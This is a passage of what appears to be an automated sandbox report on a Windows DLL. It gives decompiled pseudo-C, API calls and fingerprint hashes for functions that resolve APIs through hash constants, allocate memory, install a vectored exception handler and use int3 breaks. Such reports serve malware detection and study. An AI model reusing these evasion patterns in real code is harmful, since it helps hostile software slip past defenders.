0x705c089d
0x705c08a9
0x705c08ab
0x705c08ad
0x705c0e7a
0x705c0e7f
0x705c0e81
0x00000000
0x705c0e87
0x00000000
0x705c0e87
0x705c08b3
0x705c08b3
0x705c08c4
0x705c08c8
0x705c08cd
0x705c08da
0x705c08e1
0x705c08e3
0x705c08fa
0x705c08fc
0x705c08fe
0x705c0cf6
0x705c0cf6
0x705c08fe
0x705c0904
0x705c090b
0x705c090d
0x705c0d05
0x705c0d16
0x705c0d1b
0x705c0d1d
0x705c0d1f
0x705c0e50
0x705c0e54
0x00000000
0x705c0d25
0x705c0d2b
0x705c0d50
0x705c0d52
0x705c0d54
0x705c0e6c
0x705c0e71
0x705c0e73
0x00000000
0x705c0e75
0x00000000
0x705c0e75
0x705c0d5a
0x705c0d5a
0x705c0d65
0x705c0d6c
0x705c0d73
0x705c0d7a
0x705c0d7b
0x705c0d7c
0x705c0d8e
0x705c0d90
0x705c0d92
0x00000000
0x705c0d98
0x705c0d9a
0x705c0db5
0x705c0db7
0x705c0db9
0x705c0e5e
0x705c0e63
0x705c0e65
0x00000000
0x705c0e67
0x00000000
0x705c0e67
0x705c0dbf
0x705c0dbf
0x705c0dbf
0x705c0dc6
0x705c0dca
0x705c0e35
0x705c0e35
0x705c0e37
0x705c0e3e
0x705c0e3e
0x705c0e39
0x705c0e39
0x705c0e3c
0x705c0e42
0x705c0e42
0x00000000
0x00000000
0x00000000
0x705c0e3c
0x705c0e44
0x705c0e46
0x705c0e4b
0x705c0e4b
0x00000000
0x705c0dcc
0x705c0dcc
0x705c0dcc
0x705c0dce
0x705c0dda
0x705c0ddf
0x705c0de1
0x00000000
0x00000000
0x705c0e2f
0x705c0e30
0x705c0e33
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x705c0e33
0x705c0de3
0x705c0de7
0x705c0dee
0x705c0def
0x705c0def
0x705c0dca
0x705c0db9
0x705c0d92
0x705c0d54
0x705c0913
0x705c0913
0x705c0913
0x705c0918
0x705c091e
0x705c091e
0x00000000
0x705c0918
0x705c090d
0x705c08ad
0x705c082b
0x705c082b
0x705c082c
0x705c082d
0x705c082d
0x705c0ceb
0x705c0ceb
0x705c0cf5
0x705c0cf5
0x00000000

APIs

GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,D0443458,D0443458), ref: 705C08FA
GetSystemInfo.KERNELBASE(?,4BCC7CBA,4BCC7CBA,?,?,F3453DD0,?,?,DB1D9B48,?,?,05411B30,00000000,80000002,00000000,-000000FC), ref: 705C0CBC
GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,00000000,D0443458,D0443458,00000000,D0443458,D0443458), ref: 705C0D50

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken$InfoSystem
String ID:
API String ID: 298373132-0
Opcode ID: 7497ec6f2cd23e342e0bbc8bc140fb6a6969c218d0ad2af92f5f34300c993ca4
Instruction ID: 43e9dc5d80139921f0b6139e8792e0207c0b1aa945b4ba46c7b864658051a228
Opcode Fuzzy Hash: 7497ec6f2cd23e342e0bbc8bc140fb6a6969c218d0ad2af92f5f34300c993ca4
Instruction Fuzzy Hash: AF22F470608346AEEB21DFA4C845BAF7FA9AFC1304F10991EF48697191EB74EC45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 705C218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E705C218C(void* __ecx, intOrPtr __edx, void* __esi) {
				intOrPtr _v4;
				intOrPtr _v20;
				intOrPtr* _t5;
				intOrPtr _t11;
				intOrPtr* _t13;
				intOrPtr* _t15;

				_t11 = __edx;
				if(__ecx == 0) {
					 *_t15 = 0;
					_v4 = 0;
				} else {
					 *_t15 = E705C3A34(0xffffd8f0, 0xffffffff, __ecx, 0);
					_v20 = _t11;
				}
				_t5 = E705C2F94(0xa5eabdf8, 0xd48281c0, 0xa5eabdf8, 0xa5eabdf8);
				_t13 = _t5;
				if(_t13 != 0) {
					_t5 =  *_t13(0, _t15); // executed
				}
				return _t5;
			}

0x705c218c
0x705c2190
0x705c21ac
0x705c21af
0x705c2192
0x705c21a1
0x705c21a4
0x705c21a4
0x705c21bf
0x705c21c4
0x705c21c8
0x705c21d0
0x705c21d0
0x705c21d4

APIs

NtDelayExecution.NTDLL(00000000,00000000,A5EABDF8,A5EABDF8,FFFFFFFF,FFFFFFFF,705B35C3,00000000,00000000,?), ref: 705C21D0

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction ID: 1ea47aa59c2639c772bab38f021c8c70fb79a724d69c97873a34dccd93f487e9
Opcode Fuzzy Hash: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction Fuzzy Hash: 71E09BB010E342ADEB459F688D05B2F7EE89FC0211F20891DB595D62C4F630D8008722

Uniqueness

Uniqueness Score: -1.00%

Function 705C2790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E705C2790(void* __ecx, long __edx, void* __esi, long _a4, long _a8, void* _a12) {
				long _v4;
				void* _t8;
				long _t10;
				PVOID* _t19;

				_v4 = __edx;
				 *_t19 = __ecx;
				if(E705C2F94(0xa5eabdf8, 0xc15ccc53, 0xa5eabdf8, 0xa5eabdf8) == 0) {
					L3:
					_t8 =  *_t19;
				} else {
					_t10 = NtAllocateVirtualMemory(_a12, _t19, 0,  &_v4, _a4, _a8); // executed
					if(_t10 == 0) {
						goto L3;
					} else {
						_t8 = 0;
					}
				}
				return _t8;
			}

0x705c2797
0x705c27a0
0x705c27ae
0x705c27d1
0x705c27d1
0x705c27b0
0x705c27c7
0x705c27cb
0x00000000
0x705c27cd
0x705c27cd
0x705c27cd
0x705c27cb
0x705c27d6

APIs

NtAllocateVirtualMemory.NTDLL(A5EABDF8,?,00000000,22DC1034,00000004,00000004,A5EABDF8,A5EABDF8,?,?,705C8852,00003000,00000004,000000FF,A5EABDF8,22DC1034), ref: 705C27C7

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction ID: 84b8b005ff1276275543ee5df7e9f74c1e3dbf606c414ef707df7c3142c2af64
Opcode Fuzzy Hash: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction Fuzzy Hash: ECE01571209242AFEB09DEA8CC55E6FBBE9EF88200F108C1DB49686550E760D850A762

Uniqueness

Uniqueness Score: -1.00%

Function 705C3060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E705C3060(intOrPtr* __ecx) {
				void* _t1;

				_push(E705C33D8);
				_push(1); // executed
				_t1 =  *__ecx(); // executed
				return _t1;
			}

0x705c3060
0x705c3065
0x705c3067
0x705c3069

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,705C33D8,705C3050,A5EABDF8,A5EABDF8,?,705B2530,00000001), ref: 705C3067

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 503adf3885cfdbffdddf285cc6585eb063243d80e64feb180c3c60fbec74edef
Instruction ID: 5ce96d05aa4b808c9f0ea2814d02a58596492229cbca00c2b93758e4b50754d3
Opcode Fuzzy Hash: 503adf3885cfdbffdddf285cc6585eb063243d80e64feb180c3c60fbec74edef
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 705C5DF0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E705C5DF0(void* __ecx, void* __eflags, void* _a4, char _a8) {
				long _v12;
				void* __esi;
				long _t9;
				long _t10;
				int _t12;
				void* _t18;
				void** _t19;
				DWORD* _t20;

				_t18 = __ecx;
				_t19 = __ecx + 0xc;
				if(E705BC33C(_t19) == 0) {
					_t2 =  &_a8; // 0x705c5ce5
					_v12 =  *_t2;
					if(E705C2F8C(0x4bcc7cba, 0x2876e068) == 0) {
						_t9 = 0x7f;
					} else {
						_t12 = ReadFile( *_t19, _a4, _v12, _t20, 0); // executed
						if(_t12 == 0) {
							_t9 = E705C352C(_t18);
						} else {
							_t9 = 0;
						}
					}
					 *((intOrPtr*)(_t18 + 8)) = _t9;
					if(_t9 == 0) {
						_t10 = _v12;
					} else {
						_t10 = 0;
						_v12 = 0;
					}
				} else {
					_t10 = 0;
				}
				return _t10;
			}

0x705c5df3
0x705c5df5
0x705c5e01
0x705c5e07
0x705c5e0b
0x705c5e21
0x705c5e40
0x705c5e23
0x705c5e34
0x705c5e38
0x705c5e58
0x705c5e3a
0x705c5e3a
0x705c5e3a
0x705c5e38
0x705c5e41
0x705c5e46
0x705c5e4f
0x705c5e48
0x705c5e48
0x705c5e4a
0x705c5e4a
0x705c5e03
0x705c5e03
0x705c5e03
0x705c5e55

APIs

ReadFile.KERNELBASE(?,?,00000000,00000000,00000000,4BCC7CBA,2876E068,?,?,?,705C5CE5,00000000,?,00000000,?), ref: 705C5E34

Strings

\\p, xrefs: 705C5E07

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileRead
String ID: \\p
API String ID: 2738559852-150123974
Opcode ID: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction ID: 7275baf72089cd36eadbccc11a8bac3157068bbb79f777cf1ae2e3ac4d9d2868
Opcode Fuzzy Hash: 6762ad9e688c98861c5b697065b5bdf6121a2abcf83bb2bb4119fe35680c4d3b
Instruction Fuzzy Hash: 15F03631208617AED752AEE4CC40B7F7FEDEB85350F104C6EB89AD6144DB21EA849621

Uniqueness

Uniqueness Score: -1.00%

Function 705C1140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E705C1140(void* __ecx, void* __edi, void* __esi) {
				long _v12;
				void* _v20;
				void* _v24;
				char _v32;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v64;
				int _t31;
				void* _t33;
				long* _t39;
				intOrPtr* _t46;
				void* _t54;
				void* _t56;
				void* _t58;
				long* _t59;

				_t59 = _t58 - 0x20;
				_t56 = __ecx;
				_v12 = 0;
				_t46 = E705C2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t46 != 0) {
					 *_t46(_t56, 8,  &_v12);
				}
				_t39 = _t59;
				 *_t39 = _v12;
				_t39[1] = 1;
				if(E705BC33C(_t39) != 0) {
					L6:
					if(_t59[1] != 0) {
						E705BBC00(_t59);
					}
					return 0;
				} else {
					_t59[6] = 0;
					if(E705C2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) != 0) {
						GetTokenInformation(_v40, 0x19, 0, 0,  &(_t59[6])); // executed
					}
					_t24 = _t59[6];
					if(_t59[6] != 0) {
						E705BF620( &_v32, _t24);
						_t54 = E705BF558( &(_t59[3]), 0);
						if(E705C2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
							L14:
							E705BF6F0( &_v32);
							goto L6;
						} else {
							_t31 = GetTokenInformation(_v40, 0x19, _t54, _t59[7],  &(_t59[6])); // executed
							if(_t31 == 0) {
								goto L14;
							} else {
								_t33 = E705C2F94(0xd0443458, 0x57bf3274, 0xd0443458, 0xd0443458);
								if(_t33 == 0) {
									goto L14;
								} else {
									_push( *_t54);
									asm("int3");
									return _t33;
								}
							}
						}
					} else {
						goto L6;
					}
				}
			}

0x705c1142
0x705c114f
0x705c1151
0x705c1160
0x705c1164
0x705c116e
0x705c116e
0x705c1174
0x705c1177
0x705c1179
0x705c1184
0x705c11be
0x705c11c3
0x705c11c8
0x705c11c8
0x705c11d4
0x705c1186
0x705c1190
0x705c11a3
0x705c11b4
0x705c11b4
0x705c11b6
0x705c11bc
0x705c11da
0x705c11ea
0x705c1201
0x705c12e3
0x705c12e7
0x00000000
0x705c1207
0x705c1217
0x705c121b
0x00000000
0x705c1221
0x705c122d
0x705c1234
0x00000000
0x705c123a
0x705c123a
0x705c123c
0x705c123d
0x705c123d
0x705c1234
0x705c121b
0x00000000
0x00000000
0x00000000
0x705c11bc

APIs

GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 705C11B4
GetTokenInformation.KERNELBASE(?,00000019,00000000,00000000,00000000,D0443458,D0443458,00000000,00000000,D0443458,D0443458,D0443458,D0443458), ref: 705C1217

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 7679b974c90865b40841d487049bf979d72d970fa75d398fb332d91cf10d3124
Instruction ID: 911ebdf9f19c7d4577911bf0cadeb23fe5dac1163e1a88195a2e43bb003b8f5c
Opcode Fuzzy Hash: 7679b974c90865b40841d487049bf979d72d970fa75d398fb332d91cf10d3124
Instruction Fuzzy Hash: B1219E706082077EEB05DEA9CC15FAF6AE99FD2200F14C82DB541C6290EF78E809C7A5

Uniqueness

Uniqueness Score: -1.00%

Function 705C5720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E705C5720(void* __ecx, char* _a4, intOrPtr _a8) {
				int _v16;
				int _v20;
				intOrPtr _t11;
				int* _t12;
				int _t13;
				void* _t23;
				char* _t35;
				int* _t38;

				_push(_t34);
				_t23 = __ecx;
				_t11 =  *((intOrPtr*)(__ecx + 4));
				if(_t11 == 0 || _t11 == 0xffffffff) {
					_t12 = 1;
				} else {
					_t12 = 0;
				}
				if(_t12 != 0) {
					L10:
					_t13 = 0;
				} else {
					_t35 = _a4;
					if(_t35 == 0 ||  *_t35 != 0) {
						_v20 = 0;
						_v16 = 0;
						if(E705C2F8C(0xd0443458, 0x91134e46) != 0) {
							RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, 0,  &_v16); // executed
						}
						_t15 = _v16;
						if(_v16 != 0) {
							E705BF8C4(_a8, _t15);
							if(E705C2F8C(0xd0443458, 0x91134e46) != 0) {
								RegQueryValueExA( *(_t23 + 4), _t35, 0, _t38, E705BF558(_a8, 0),  &_v20); // executed
							}
							_t13 = _v20;
						} else {
							goto L10;
						}
					} else {
						goto L10;
					}
				}
				return _t13;
			}

0x705c5724
0x705c5725
0x705c5727
0x705c572c
0x705c5733
0x705c5737
0x705c5737
0x705c5737
0x705c573b
0x705c5781
0x705c5781
0x705c573d
0x705c573d
0x705c5743
0x705c574c
0x705c574f
0x705c5766
0x705c5777
0x705c5777
0x705c5779
0x705c577f
0x705c578a
0x705c57a2
0x705c57c2
0x705c57c2
0x705c57c4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x705c5743
0x705c57cc

APIs

RegQueryValueExA.KERNELBASE(?,705CD1F8,00000000,?,00000000,00000000,?,?,?,705CD1F8,?,705C57F3,?,00000000,00000000), ref: 705C5777
RegQueryValueExA.KERNELBASE(?,705CD1F8,00000000,?,00000000,00000000,00000000,00000000,?,?,?,705CD1F8,?,705C57F3,?,00000000), ref: 705C57C2

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 0ebff09220bf0d0ba5e4664c84f22c1e1406037ae913b7e547126d30ebdefedc
Instruction ID: ff49070d1846ef70d3270834649666b8783ac6b39afa8e5d6546ce20c826a5ea
Opcode Fuzzy Hash: 0ebff09220bf0d0ba5e4664c84f22c1e1406037ae913b7e547126d30ebdefedc
Instruction Fuzzy Hash: E9119D7120830ABFEA129EA5DC81FAFBFECDB81794F00481DB58997140DA20EC809661

Uniqueness

Uniqueness Score: -1.00%

Function 705C5AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E705C5AA8(WCHAR** __ecx, void* __edx, intOrPtr _a4, long _a8, long _a12) {
				char _v24;
				void* __esi;
				void* _t16;
				void* _t21;
				void* _t24;
				void* _t29;
				long _t37;
				void* _t38;
				long _t39;
				WCHAR** _t40;
				intOrPtr* _t56;
				WCHAR** _t58;
				char* _t64;
				void* _t65;
				long _t66;

				_push(0);
				_push(_t62);
				_t66 = _t65 - 0x10;
				_t58 = __ecx;
				_t37 = _a8;
				if(E705BD288(__ecx, 0x2f) != 0) {
					_t62 = _t66;
					E705BD78C(__ecx, _t66);
					E705BD0B4(_t58,  *_t66);
					E705BD098(_t66);
				}
				if(_t37 == 0) {
					_t70 = _a4 - 1;
					if(_a4 != 1) {
						__eflags = _a4 - 4;
						_t37 = (0 | _a4 == 0x00000004) + 2;
						__eflags = _t37;
					} else {
						_t37 = 1;
					}
				}
				E705C621C(_t70);
				if(_a4 <= 5) {
					goto __eax;
				}
				_t62 = 0;
				if(_t37 != 2) {
					_t16 = 3;
					__eflags = _t37 - 1;
					_t38 = 0;
					_t39 =  ==  ? _t16 : _t38;
				} else {
					_t39 = 1;
				}
				if(E705C2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t29 = CreateFileW( *_t58, 0, _t39, 0, _t62, _a12, 0); // executed
					_push(_t29);
				}
				_t40 =  &(_t58[3]);
				E705BC328(_t40);
				if(E705BC33C(_t40) != 0) {
					_t58[2] = E705C352C(0);
					_t21 = 0;
					goto L19;
				} else {
					if(_a4 == 2) {
						_t56 = E705C2F8C(0x4bcc7cba, 0xceed09cc);
						__eflags = _t56;
						if(_t56 != 0) {
							 *_t56( *_t40, 0, 0, 2);
						}
					}
					_t64 =  &_v24;
					E705C35D4(_t64, 0xff, 8);
					_t66 = _t66 + 0xc;
					_t24 = E705C2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t24 == 0) {
						_t21 = 1;
						__eflags = 1;
						L19:
						return _t21;
					} else {
						_push(_t64);
						_push(_t64);
						_push(0);
						_push( *_t40);
						asm("int3");
						return _t24;
					}
				}
			}

0x705c5aa8
0x705c5aab
0x705c5aac
0x705c5aaf
0x705c5ab1
0x705c5abe
0x705c5ac2
0x705c5ac6
0x705c5ad0
0x705c5ad7
0x705c5ad7
0x705c5ade
0x705c5ae0
0x705c5ae5
0x705c5aee
0x705c5af6
0x705c5af6
0x705c5ae7
0x705c5ae9
0x705c5ae9
0x705c5ae5
0x705c5afb
0x705c5b07
0x705c5b1d
0x705c5b1d
0x705c5c38
0x705c5b75
0x705c5b7e
0x705c5b7f
0x705c5b84
0x705c5b85
0x705c5b77
0x705c5b79
0x705c5b79
0x705c5b9b
0x705c5baf
0x705c5b9d
0x705c5baa
0x705c5bac
0x705c5bac
0x705c5bb1
0x705c5bb6
0x705c5bc4
0x705c5c2f
0x705c5c32
0x00000000
0x705c5bc6
0x705c5bcb
0x705c5c18
0x705c5c1a
0x705c5c1c
0x705c5c26
0x705c5c26
0x705c5c1c
0x705c5bcd
0x705c5bd9
0x705c5bde
0x705c5beb
0x705c5bf2
0x705c5bfe
0x705c5bfe
0x705c5bff
0x705c5c06
0x705c5bf4
0x705c5bf4
0x705c5bf5
0x705c5bf6
0x705c5bf8
0x705c5bfa
0x705c5bfb
0x705c5bfb
0x705c5bf2

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e101adef0a1a6633ce21632bff3386459e9378876617599ff68f9d880a7fa72f
Instruction ID: ae5d6a747b64a2be2f4c81be7d9f422cfe78178083fdb1920eaa298a5f5f3d9f
Opcode Fuzzy Hash: e101adef0a1a6633ce21632bff3386459e9378876617599ff68f9d880a7fa72f
Instruction Fuzzy Hash: FC31A33534430BAED7112EF18C9AF3F7EAEEBC1348F14492DB94796081EA51ED848235

Uniqueness

Uniqueness Score: -1.00%

Function 705C5B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E705C5B51(void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t21;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t32;
				WCHAR** _t33;
				long _t37;
				void* _t39;
				void* _t40;

				_t33 = __edi;
				if(__edx != 0) {
					_t37 = 3;
					if(_t21 != 2) {
						_t7 = 3;
						_t22 = 0;
						_t23 =  ==  ? _t7 : _t22;
					} else {
						_t23 = 1;
					}
					if(E705C2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
						_push(0);
					} else {
						_t20 = CreateFileW( *_t33, 0x80000000, _t23, 0, _t37, _a44, 0); // executed
						_push(_t20);
					}
					_t24 =  &(_t33[3]);
					E705BC328(_t24);
					if(E705BC33C(_t24) != 0) {
						_t33[2] = E705C352C(0x80000000);
						_t12 = 0;
						goto L14;
					} else {
						if( *((intOrPtr*)(_t40 + 0x24)) == 2) {
							_t32 = E705C2F8C(0x4bcc7cba, 0xceed09cc);
							if(_t32 != 0) {
								 *_t32( *_t24, 0, 0, 2);
							}
						}
						_t39 = _t40 + 8;
						E705C35D4(_t39, 0xff, 8);
						_t40 = _t40 + 0xc;
						_t15 = E705C2F8C(0x4bcc7cba, 0xaaa9bb);
						if(_t15 == 0) {
							_t12 = 1;
							goto L14;
						} else {
							_push(_t39);
							_push(_t39);
							_push(0);
							_push( *_t24);
							asm("int3");
							return _t15;
						}
					}
				} else {
					__edi[2] = 2;
					_t12 = 0;
					L14:
					return _t12;
				}
			}

0x705c5b51
0x705c5b53
0x705c5b6a
0x705c5b75
0x705c5b7e
0x705c5b84
0x705c5b85
0x705c5b77
0x705c5b79
0x705c5b79
0x705c5b9b
0x705c5baf
0x705c5b9d
0x705c5baa
0x705c5bac
0x705c5bac
0x705c5bb1
0x705c5bb6
0x705c5bc4
0x705c5c2f
0x705c5c32
0x00000000
0x705c5bc6
0x705c5bcb
0x705c5c18
0x705c5c1c
0x705c5c26
0x705c5c26
0x705c5c1c
0x705c5bcd
0x705c5bd9
0x705c5bde
0x705c5beb
0x705c5bf2
0x705c5bfe
0x00000000
0x705c5bf4
0x705c5bf4
0x705c5bf5
0x705c5bf6
0x705c5bf8
0x705c5bfa
0x705c5bfb
0x705c5bfb
0x705c5bf2
0x705c5b55
0x705c5b55
0x705c5b5c
0x705c5bff
0x705c5c06
0x705c5c06

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 705C5BAA

Memory Dump Source

Source File: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000002.00000002.499588010.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499645992.00000000705CA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.499659691.00000000705CD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.499682572.00000000705CF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction ID: 04472001ac9efc41f1e57b548cb96d490dfbe1ba5c24d41397228eb73b0d2849
Opcode Fuzzy Hash: 26c16dd84db9d2095020c93a0a859f32a102ea0508fef39e3b0ec55714086586
Instruction Fuzzy Hash: 46018435384307BEE7112EE19C86F3F7E6DDB92358F108D6AF94356085DA52EC988171

Uniqueness

Uniqueness Score: -1.00%

Function 705C5B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E705C5B29(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				void* _t31;
				intOrPtr* _t33;
				WCHAR** _t34;
				void* _t38;
				long _t39;
				void* _t41;
				void* _t42;

				_t34 = __edi;
				_t31 = 5;
				_t38 = 2;
				_t39 =  !=  ? _t31 : _t38;
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E705C2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t39, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E705BC328(_t24);
				if(E705BC33C(_t24) != 0) {
					_t34[2] = E705C352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t42 + 0x24)) == 2) {
						_t33 = E705C2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t41 = _t42 + 8;
					E705C35D4(_t41, 0xff, 8);
					_t42 = _t42 + 0xc;
					_t15 = E705C2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t41);
						_push(_t41);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x705c5b29
0x705c5b2d
0x705c5b30
0x705c5b33
0x705c5b75
0x705c5b7e
0x705c5b84
0x705c5b85
0x705c5b77
0x705c5b79
0x705c5b79
0x705c5b9b
0x705c5baf
0x705c5b9d
0x705c5baa
0x705c5bac
0x705c5bac
0x705c5bb1
0x705c5bb6
0x705c5bc4
0x705c5c2f
0x705c5c32
0x00000000
0x705c5bc6
0x705c5bcb
0x705c5c18
0x705c5c1c
0x705c5c26
0x705c5c26
0x705c5c1c
0x705c5bcd
0x705c5bd9
0x705c5bde
0x705c5beb
0x705c5bf2
0x705c5bfe
0x705c5bff
0x705c5c06
0x705c5bf4
0x705c5bf4
0x705c5bf5
0x705c5bf6
0x705c5bf8
0x705c5bfa
0x705c5bfb
0x705c5bfb
0x705c5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 705C5BAA

Memory Dump Source

